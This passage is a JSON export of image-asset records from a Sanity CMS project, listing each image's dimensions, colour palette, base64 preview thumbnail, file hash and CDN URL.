anity.imagePaletteSwatch","background":"#815603","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ac16","foreground":"#000","population":7.76,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfc3b4","foreground":"#000","population":2.28,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc68ac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac647a","foreground":"#fff","population":0.26,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f9ac16","foreground":"#000","population":7.76,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844.png","path":"images/sczeoy4w/production/624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844.png","sha1hash":"624a6bb8758efddc88fa16984dcf8feab81e4678","size":276187,"uploadId":"DC8OCC4ybTbaWWSYYcomOFAN8h8ft802","url":"https://cdn.sanity.io/images/sczeoy4w/production/624a6bb8758efddc88fa16984dcf8feab81e4678-1567x844.png"} {"_createdAt":"2022-06-15T20:02:23Z","_id":"image-ab61e4f6e4e725a348851de70f562014117ec08b-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriC5Q","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:26:45Z","assetId":"ab61e4f6e4e725a348851de70f562014117ec08b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MdP?RBys$fnOO[pJR.WAoIWZtQnNRjbbni","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADMElEQVQokR3PSWsbZxgA4PkbvaQ/o6feS2mhhUALaUtJyKGnpKUEH0pIDYHKdcFdcGKwnDaWI8seeQlxIkuytTmJpVj7MtJIM9+MNIvmm2+0jiQnoPct5PZcH05pWz+1ZP1Ro9kOCnVlV5IN3rSGvO1MeNtxecomfK41DT55NQseF2a8Yri81unwrXKCr7708W9CK/vJZw/CmZenezIx7nJ1UfUWSg3xIlfpXeQqdq1OmG72mWWPWZeO3rsg9thR1mWJ6oxJnRGThTdMif3K6POrzDz8hBV2bwxeR/yiLLfXOLVj70jEcJqShi1ZR7VjY5cOUTN62JI0LFdETGcFTJcNLLaG2FD6KGbDqO99hW+ffIizrSso+r/ETPixqcpkg6PM3abMpZS5SJk7p8wFysagti3I5SsQPYlDKBSBdCYPQtOAWotCObkP2n+fwvThB/PJ2pW55PsaC6cBw1TlDc6gk13KJrbtTNB2XLCZiyYdY1t3sFoT8cWLY9zeDmAikUJZar9flCJ+lFY/Q3XlI5D/+hgq3utYPAkYttpc5xod99CkY8dmI2RsCLY9QN0coKIPUFENjJ/G0Lfpw2TyDLW2jhpRUHzuRWn5c8z+9gWklr+D9PodrMT2zL4qbHBie3Rk0UGvZ/ewZzvQozZQk4JhMFBVHRKxGPi3tiAeOwNB1EGqN0HefwDq/atwvvgthO9dh1d/3sFalDdGasnLdU126FgW61tdHFjmfGjpMLI06JsaKM0mHIdCEPBvQTKegrLQgWqxDg3fKjR++R5iCzcg8eO1eWHpZ2xEeTpRsrvcUJX4HhEdWxGxr0nomgQnXRknpoRyJYsH/A4+fuTFVDSESqOOrUIBC941TC3cwoPbP2Dy5jeYW1zAeoQfXCqZMOc28v841YucIeRURqryxBDJpSmSqSYQKX9GDne2yKb3ITl5GiB69Zx0a1lSPAgq0b9XlODiPXJ867aauL9oVsJ87VJJ+7gpKV8bScW7fbm0NG5XPTNd8LwzBM+0U/Io+aTndeTAkzoKeLLRoIdW4h6X5JbapcxyKXXye2Jv2/N0dXUlvPnveiXx7I9Lcn7zfyh9zQRaqcKLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403934","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#22314e","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f89812","foreground":"#000","population":6.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cfb998","foreground":"#000","population":0.42,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fce05d","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7f659d","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f89812","foreground":"#000","population":6.27,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"ab61e4f6e4e725a348851de70f562014117ec08b-1567x844.png","path":"images/sczeoy4w/production/ab61e4f6e4e725a348851de70f562014117ec08b-1567x844.png","sha1hash":"ab61e4f6e4e725a348851de70f562014117ec08b","size":431861,"uploadId":"69mokgqBdZ3kJUkfktgWd6neygzzjsVd","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab61e4f6e4e725a348851de70f562014117ec08b-1567x844.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-90862b4f27f12b3df890b3148ff345676d552cbe-962x594-png","_rev":"cEPH2uRN58AU2lp9QO7aQ5","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:32Z","assetId":"90862b4f27f12b3df890b3148ff345676d552cbe","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VTP%R^^h%%GbyC?bNHRhxGjJ.9I@V=#RVuInxaxbNGbE","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6195286195286196,"height":594,"width":962},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACaUlEQVQokU2R3UuTURzH/U+8TC80uiroqovuku6qiyK86SaDIHod2UWUBDkUMacUhEjqWIYIoqVzmXPJ2jRtazo392x7zvN23s9zzrOXm3pGhnA4HH7w4fP9fU+b8JpcNSB1gY2rJqwYdhlYVdPRTejfFtQtWAZWBdi6hXQT6hZyiGCyLrxmm/CaTNZtzIGNgIWABYHpGDYybORPbGzYWLdaD4cAGwOHOJgT4XHZ+AcjJiFzEaXYPCLFJClsYXCICUVM+odLzBRiyqHSphIyRYTHZN2HuWowWWOqxhkU2Xm52Ocu3BLbUxwDrhpcNoRqMtnQoEoUydo+3C4zk3pcHZsJl5hLiqoiMSwnTss3p0S03zFyBWjsGcWcXdYQiubsh/P7vVN7wdViRme+mQiFucKsBcOqiA/KsQ450u6uPMmXtiZ/LQTWhwaT72NHP8Op8uWJ9JlX8TvhTLJEfNjGHFKX+jvUOK66iaAKdaqRdhkN7BZigfjwhciN60v3I7nYTErrGU91DWz0hbMpjfqxIRWISd8sJIEVsRmUoU7fvBrYya89+DZ4PnztyuLd2ezq9I9Sz3i6e2CjbzaTPMK+mcm6v7NQxFWt2EE11qFasXfy0ZPwh2TpUijV9XLj9n9YeM1WZzUqawwD/n3UfXtWhLp57PluYb1/c+Tix96by4/mcl8j6fLVd9vnXm/em8umNcLV8VdR4fm1EUhyn/GXZ2jpMdn9dKj/nskuv4iHRlPTCS0Tz5tDK/mn85nJROnA5CfNderWmOtR4iDjEOoHFJmICw07ObNccIDFuEVlHrBsBWmOwKL+t7A/C01VV7d1oO8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#616c6a","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b65c04","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7b9bf","foreground":"#000","population":0.53,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7b9bf","foreground":"#000","population":0.53,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a1d6ed","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5b849e","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48409","foreground":"#000","population":0.34,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"90862b4f27f12b3df890b3148ff345676d552cbe-962x594.png","path":"images/sczeoy4w/production/90862b4f27f12b3df890b3148ff345676d552cbe-962x594.png","sha1hash":"90862b4f27f12b3df890b3148ff345676d552cbe","size":10754,"uploadId":"H7oMgKEmAf28XJK1wLeog8OWPQaoRIZC","url":"https://cdn.sanity.io/images/sczeoy4w/production/90862b4f27f12b3df890b3148ff345676d552cbe-962x594.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-7497c45b4da639df8ad495ac9df7de68e34d405c-1200x742-png","_rev":"CK1sLU2mnwa3vmbYWEaqRt","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:26Z","assetId":"7497c45b4da639df8ad495ac9df7de68e34d405c","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VSPQQu~9-@BUt%?cNeRhv}nO^+EMNE$*esR4r=tST0XS","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6172506738544474,"height":742,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACMklEQVQokW3STUtUURgHcD+E30MhAk36AIGELqKgRYs2FriJIheugkDRRFoUKFlIYmoN6mhv4iDa6EwWKY3OTF4Z0Zm5M/fec8/zPOfl3jtu5IxKQsF/8d/8OM8552kQwTGqyAVhu7zssFLVq4edplgx3XZ8023XdI8zkKgi0rWGU8xIMZQMpQcXoxjIekxxuXC58FD6pEGGqKIzDDIAGZ4nQBlyGThIRe4d+o4N3EVlVcX3Ak8X/JxNLgYGk66BDLnQ5z7g0nSX6Ecx+zazMLr1/pP1bccux37ZD2LZ7pndsfUjqypIRw0MFReGoYpQaiQE8klgBbyZ3NKdzz3tc11PUi9XC/nnKwdXh9OXBzZ64392SmjuXPWAgeQiQKGwYmH2I2y/o71EuWKNZ+Lt8/dapm4+XB1I7O8MJwotgxtNfcmeuVzmFFcMFuZw5Li7KD7cprE2sdhdttbGM/Hr8/dbp289OsetgxvNfcme2dzvIpixPZCctMHg09aketOmhhrVVIed+/If/CzV3H8Bk45Q1R8ZfNqe1K+v6KFGPdVRqeN/xk419SUfz+bPxhbBMenIPBhy2o2L6Rti9JKc76paa7H88t2l3s5499P0SPJg71XyqHP057UXm/1f93M2/V0S808koJTlWzMsNQKZBbdS2C5bsezyRGYxUdi0HCe9zybSh+PrByt5p8TU2ZKQrpGuoY5IakDOwQMClNqX2iVyCJmQoEJfhA7oKigmQlSGnABkkFVxKV/1owAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c7c4c","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c46c04","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f38b13","foreground":"#000","population":5.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cca49c","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#74cafc","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#559266","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f38b13","foreground":"#000","population":5.51,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7497c45b4da639df8ad495ac9df7de68e34d405c-1200x742.png","path":"images/sczeoy4w/production/7497c45b4da639df8ad495ac9df7de68e34d405c-1200x742.png","sha1hash":"7497c45b4da639df8ad495ac9df7de68e34d405c","size":13851,"uploadId":"arf7i7zlcIeB73GqiZtopBq0YYkeWAdb","url":"https://cdn.sanity.io/images/sczeoy4w/production/7497c45b4da639df8ad495ac9df7de68e34d405c-1200x742.png"} {"_createdAt":"2022-06-30T11:51:35Z","_id":"image-1acdea0ec6591e590a49724fdac8a0bb2fd7c25f-400x300-png","_rev":"CK1sLU2mnwa3vmbYWEbYYI","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:18:26Z","assetId":"1acdea0ec6591e590a49724fdac8a0bb2fd7c25f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VXO;GD^+^+bH-p~WayD*WBRk^*M|IooffkIVR*%2oft6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.3333333333333333,"height":300,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdUlEQVQokX3SS09TQRQAYP6MDxAXoAtDXJmYGMPGRyIuZIExstDikxhJiBSCNhEWkKCCfVGgUKCW0jS8iq0FqVCvRaEBtC20lPaWtvbhfc2dmWvKQIoEPDPL+ebMOWcKEEIsy6bTaYZhAADifwPk1m4ghAowxgAAlmU5jhNFER0dWU5Yo5PURtQXS2ZZDhIsCAKzgyGE0mGBd3Ygnm61ue/2Tbx1eoKJ1C4GAHAcx/M8QigPsIQwRhgTiSXpe3j7ds9YcZP64dD0ajSBDmAIITnHizCYzHwN0t5oPM0J5JbFzVil1nrsxfv7BttKNJ7DCCFSM8EIY4gxnWV6F7x3esfrLbNUkI5lmViWnQtsVWqtxxuUeZzLKQgkMw/Ab5bf/sOu0IlG6+fTTeryN0ata7n7y7LataSb995UW07I92GGYViOIw2LpDLWJZ/OtWz8tvbM5CiSqy62G+ots1c6TZc7huvMzutd5kK5Ko8BAAIAOcrzi6GozGC71DZYa7TfG5gqbszhpx8cZS36klfdNYPT17pG/sH75zwfCN9QmgsbVFW6sWr9BMG1Jsf51v4zCl3N0GFYFEVS88L6VoVqtEiuquo5iEuPwuBA5j18ijzb5Chr1ZcodLLB6audIydJwyI7WJIkCCEAgOd59/rWLY2ltFlTrR+XDUydfakt7xh+bnZeaDOce9332GivUI6WNmse5T7JHpYkiUx7LRpvmXTV9E902N3vPlEPBiYbLTPdrh91po9PhmzKGY9ibE6mH+9yUqFEKo8xxhDCDMuthmnKH/LRcR+doPwh7ya9sZ30BEKUP+in495gZOHn+q9IjOEFjPFfgyDW38VgrEsAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44717e","foreground":"#fff","population":0.06,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04728a","foreground":"#fff","population":0.62,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#147494","foreground":"#fff","population":13.67,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cbc4dc","foreground":"#000","population":0.15,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a8e2ec","foreground":"#000","population":0.25,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7faab5","foreground":"#000","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#147494","foreground":"#fff","population":13.67,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"1acdea0ec6591e590a49724fdac8a0bb2fd7c25f-400x300.png","path":"images/sczeoy4w/production/1acdea0ec6591e590a49724fdac8a0bb2fd7c25f-400x300.png","sha1hash":"1acdea0ec6591e590a49724fdac8a0bb2fd7c25f","size":2953,"uploadId":"6TmXxHgx8EbYX8c9VhnNNJycD7CMAI1e","url":"https://cdn.sanity.io/images/sczeoy4w/production/1acdea0ec6591e590a49724fdac8a0bb2fd7c25f-400x300.png"} {"_createdAt":"2022-06-15T20:02:31Z","_id":"image-5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriHzK","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:16Z","assetId":"5f21e3f6c42fae7d2298bdd2649b3f717e5615be","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTQu$-p{-?NfbEV$Tda0j@o~?HI;Mc$ebw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADQUlEQVQokRXDW2/bZBgAYP8NboF/gBDSuAEJoYkNLhACITYB0kCMCy4mcVrFqqJNmzuNhZFqXbZ0pypqslZZxNZmS9qONm3axElIl6Pj2HETO7a/L3YcO6Fr6/dFe6SHEUT1DC+0Z3ihs8A32pEaL4dqvHy7KalBVevP6HQY1Igb1OlwxqDDoNFzZ4hhz1rprcje2Z8ewfvHVg8+/Sbh3Hpwn4rqb0yp0gzmChU+X6iYuUKFcLmSweVLWrkqdjsK1bodVZNrZU1pVDVDUTXdMDXSaunOwl1y8P1nJhx9p+8d/8TeG7so9tezC0xL1iOCqPSEpoIv84021uoyNgUZdaGA5tYdNGK/Yvfv8yimYljOcyisPUHbdwa9r99G/PBNhA/ew4PTP9hubDHJGNSdM6hrGNRFgzpeR+lBqSLAv5kN6Kxc8Uaz73qja6+BPHUUVoLjMH/nOsRvXgH+9y/B+e4I7J884u199RG642ctM5FYZkhvGCa9ISE9F0nPBaVLoZDnYC02BfXQ5+AGXoXBn6/A9h/HIHj5F/Cx5+HW1UsQ941D3fcj6n+NgXrzKsoPH9hCdmuDIdQJE+oQQgdIqQ3EMLEj5LC1MoZ6+C107r2Orek3MHLpBF6cGMPLkyzemL6O0cgcZpbjWN38ByrbKaxyabtRzKwxlPbDPWoRk5hoEupZhIKtlMDJX4DB0+NgLJ6Andg5iNz2gd/vhxuBAIRCIYgvPYbtzXV4nktDo7iFajVr9cVCgrEMI2zpumHpGvZ11bN1FfoKD3opCq30FNQ27kF+PQpr8Tl4HJmG6KwfHs3fhc3kAvDZJZCLq95ucR0tPmMedgpPmYEsREyJp6TFo9lpotuV0FYaqNSyyGceYnXVh7Wln7EW/RYr4VNYjk1gIxVGvfwEh80kmrUESrkEGuVU/3CXSzJuveDvlbm8Ws3LVCqLQ5WXRkpd6ktFiZQWJZq+IPWXT0rO0sfSMHlaGuUC0ovmM8lrb0vY2ZT+E5+JvcqK7DQ2drzd7H1mJD3/YtAsnrPEnUlnt8zuqVX2hVph95USu9/m2ENxkfUqARZLUyzy8yzKKRY7HAvtl7MstDOs196ehHZ2Atrcqf8B1ZzFU9kKkLoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2d344f","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#804f04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f79e15","foreground":"#000","population":9.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c6bfb3","foreground":"#000","population":4.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc668c","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#967e57","foreground":"#fff","population":0.22,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f79e15","foreground":"#000","population":9.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844.png","path":"images/sczeoy4w/production/5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844.png","sha1hash":"5f21e3f6c42fae7d2298bdd2649b3f717e5615be","size":412191,"uploadId":"nQWQk703jvGWMVEyvFOikP0ojm7WqzpL","url":"https://cdn.sanity.io/images/sczeoy4w/production/5f21e3f6c42fae7d2298bdd2649b3f717e5615be-1567x844.png"} {"_createdAt":"2022-06-15T20:02:31Z","_id":"image-2931a81c801fa6664393d98cf76a5a1745415ce7-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdhEs","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:18Z","assetId":"2931a81c801fa6664393d98cf76a5a1745415ce7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbQlXr*0S%i^oyK,oIZ~kqnj-;IAnhozV@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADLklEQVQokR3F3U9bZRwA4PM3eKMXJt54Z7zbjfHaxDs12Z0JidHEZIkyN2MWzFAS3Tw4GQM2kzFaWRlSVoYoQaGGLBU3LG0p/aSnPef0fH+879tTes6BQtvfz4yLJw8nNa0rtboarQnqitDQHtdFPVGrq4nDmpIQZWvZsFqPDJMtGCZ76BA/Qlgw59IwQqgfoY49xwwlyhTjV6o488Rk17nKoTyXzZWFdKbQyubKJJev0kyuRPeyRVqqiETTiWta1DUs6tikY7s0sFwa2i7t2ESTLLb7t+UtPaLtaExiy2trnKK6y3XRYEJdw7qoY0Myzn9BVmw0DIqGbqGmGag0NZREBXXdQU2zsbqfxdLjhyjcHMPa1avHlctfHnAuDZZcGrgO8dEh/sClPrjEh/PdDliaA7LQgMNSAfI7m7C7HoNiamOw9+yfwWpiBeKz9wdrd6dh6ZvRMPb58CFHWBgnLCSEhUhYAIQFSJgPlPlIHQquVAG1moVS7jn8+9sD+PPOMGzcG4HF+1MwOXELJm9PwPT0NE5NTnSid6d2OUL9OKE+IbSDlB4BpW1khoNeVcJ2cR+9/BN0imsoVdJ4sBnF7Tsf4+qNIVz49iOMjgzhzMgl+P76NZyfveeVdreTHKXtOKMeaZEWtggdeITCkdCAYGMbgvUEeE9vgpn6DqR0AtTkT2DMvgvijxegNvoGVK+8Dn999jbMjFzC9fi81xZzW5znunHPcVzPsbHtmIMj1wRfqsPxzjMIUxvQSY2B9ftFqCY+BW3xIpz+/Br0J16CsxsvQ/j1K1C+dmHwx+2vMJNcaZ00M1tcR2kst2SBkqaAni5iYMkYmiIeqzU8aeaxW5xDb2sIG0vvo/HLW3g2+ypC5E3sLXyAJ7EhtBcvYyMZRVp62h5oe0kuqO3PsHImZ1ZzCpXLUmgKctd6oSafWhX5rLkt+7kpWd/8QiYr78m91XfkQXK42fsvIvfyT+TT0rrUraeUvpouoJ6Jccdy8cOOeDDqSYVxXy3zXbPKn5oV/swo8T2jyPf0PN+VUnw7v8j7z3/g++lbfL+QGO/Xd8ZBzfConxtHPTMG2t4n/wM5S8+tS/1dzAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#483028","foreground":"#fff","population":0.2,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#804803","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f88f10","foreground":"#000","population":9.11,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4a4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6c94","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c7e63","foreground":"#fff","population":0.4,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88f10","foreground":"#000","population":9.11,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2931a81c801fa6664393d98cf76a5a1745415ce7-1567x844.png","path":"images/sczeoy4w/production/2931a81c801fa6664393d98cf76a5a1745415ce7-1567x844.png","sha1hash":"2931a81c801fa6664393d98cf76a5a1745415ce7","size":435652,"uploadId":"AMtonjW3npVGpZsfitBfU21g72Rlxedf","url":"https://cdn.sanity.io/images/sczeoy4w/production/2931a81c801fa6664393d98cf76a5a1745415ce7-1567x844.png"} {"_createdAt":"2022-07-25T14:16:45Z","_id":"image-04d4e284bc397684480b7bfdc67414f4955c79f4-2500x2500-png","_rev":"hbqxVMLI4PW5pNF8g8Ws3U","_type":"sanity.imageAsset","_updatedAt":"2022-07-25T14:16:45Z","assetId":"04d4e284bc397684480b7bfdc67414f4955c79f4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eAH10_{C4TL30J2]uP18D}}O026A.7v$[T@v{L+bXmGZ0J5PxHs%TL","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":2500,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3151","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#062761","foreground":"#fff","population":3.9,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#062761","foreground":"#fff","population":3.9,"title":"#fff"},"lightMuted":{"_